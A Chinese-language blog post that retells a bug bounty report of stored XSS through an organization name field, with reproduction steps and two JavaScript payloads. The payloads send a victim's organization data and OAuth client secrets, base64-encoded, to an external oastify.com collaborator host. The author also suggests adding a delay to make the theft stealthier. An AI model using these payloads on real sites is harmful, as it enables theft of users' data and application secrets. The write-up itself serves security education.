XSS的高级利用（非常详细）从零基础入门到精通，收藏这篇就够了

黑客大白

于 2025-06-03 17:00:31 发布

阅读量627

点赞数 7

CC 4.0 BY-SA版权

文章标签： xss web安全安全

本文链接：https://blog.youkuaiyun.com/Libra1313/article/details/148405497

声明：以下内容仅为安全研究和教育目的，切勿用于非法用途。滥用本信息造成的任何后果，由使用者自行承担。

从“组织名称”沦陷看XSS攻防的本质：一场信任危机？

“Organization name”字段，听起来人畜无害，却成了XSS攻击的温床。想象一下，未经任何安全考量的用户输入，像脱缰的野马一样，直接冲向了公共页面。结果？恶意Javascript代码堂而皇之地在用户的浏览器里“安家落户”，这难道不是一场彻头彻尾的信任危机？

漏洞的“藏身之所”与“引爆点”：一次代码审计的失误？

攻击的起点： https://api.target.com/v1/organizations/[org-id] – API接口，安全的第一道防线，却成了突破口，讽刺吗？
触发的舞台： https://target.com/[slug] – 公开页面，用户毫无防备地踏入陷阱，这难道不是开发者的疏忽？
罪魁祸首： name 参数 – 简简单单的名字，却成了XSS攻击的导火索，这说明了什么？

当XSS Payload像病毒一样注入到name字段，每一个访问页面的用户都成了潜在的受害者，浏览器沦为恶意代码的游乐场。这不仅仅是一个漏洞，更是一次对web应用安全底线的嘲讽。

XSS复现：一场“猫鼠游戏”的剧本？

双账号设置： 攻击者 vs 受害者 – 这是一场预谋已久的“猫鼠游戏”？
攻击者“登场”： 登录，潜伏，在“组织名称”字段埋下恶意Payload – 典型的黑客入侵三部曲。
Payload“入驻”： 数据保存，页面发布 – 恶意代码已就位，只等受害者上钩。
受害者“中招”： 攻击者抛出链接（例如： target.com/anoth），受害者点击，Payload瞬间引爆 – 一场精心设计的“钓鱼”行动。

XSS深度利用：从“小打小闹”到“窃取核心机密”？

接下来，让我们看看精心构造的Payload，是如何将XSS的危害提升到新的高度的。

利用一：“身份窃取”的艺术？

Payload代码：

<script>
  fetch('https://target.com/v1/organizations/', { method: 'GET', credentials: 'include' })
    .then(res => res.json())
    .then(data => fetch('https://3jn69zeha0nnybiwin8ushzes5ywmncb1.oastify.com/' + btoa(JSON.stringify(data))))
    .then(res => res.json())
    .then(finalData => console.log(finalData))
    .catch(err => console.error(err));
  alert('successful');
</script>

Payload的“野心”：

伪装成普通用户，发起一次“身份验证”的GET请求，目标直指用户的组织信息。
将窃取到的数据进行Base64编码，就像给情报穿上了一层“伪装”。
秘密地将情报输送到攻击者控制的服务器，完成一次“狸猫换太子”的戏法。
个人吐槽：这段代码简直是教科书级别的窃密流程，如果我是黑客，我可能会加个延时函数，让整个过程更隐蔽。

利用二：“密钥盗取”的阴谋？

Payload代码：

<script>
  fetch('https://target.com/v1/oauth2/', { method: 'GET', credentials: 'include' })
    .then(res => res.json())
    .then(data => fetch('https://3jn69zeha0nnybiwin8ushzes5ywmncb1.oastify.com/' + btoa(JSON.stringify(data))))
    .then(res => res.json())
    .then(finalData => console.log(finalData))
    .catch(err => console.error(err));
  alert('successful');
</script>

Payload的“终极目标”：

秘密获取OAuth应用程序的配置信息，包括客户端ID和密钥，这些可是应用程序的“命根子”。
再次使用Base64编码，为盗取的数据披上“隐身衣”。
将这些敏感信息偷偷转移到攻击者的地盘，为后续的攻击行动铺平道路。
个人看法：如果OAuth密钥被盗，那整个系统的安全性都将岌岌可危。这不仅仅是800美元赏金的问题，而是一场可能导致数据泄露、账户劫持的灾难。

最终，白帽小哥凭借敏锐的洞察力，赢得了800美元的赏金。厂商也在2小时内迅速响应并修复了漏洞，但这难道不值得我们深思吗？

你真的学到了吗？还是仅仅看个热闹？
```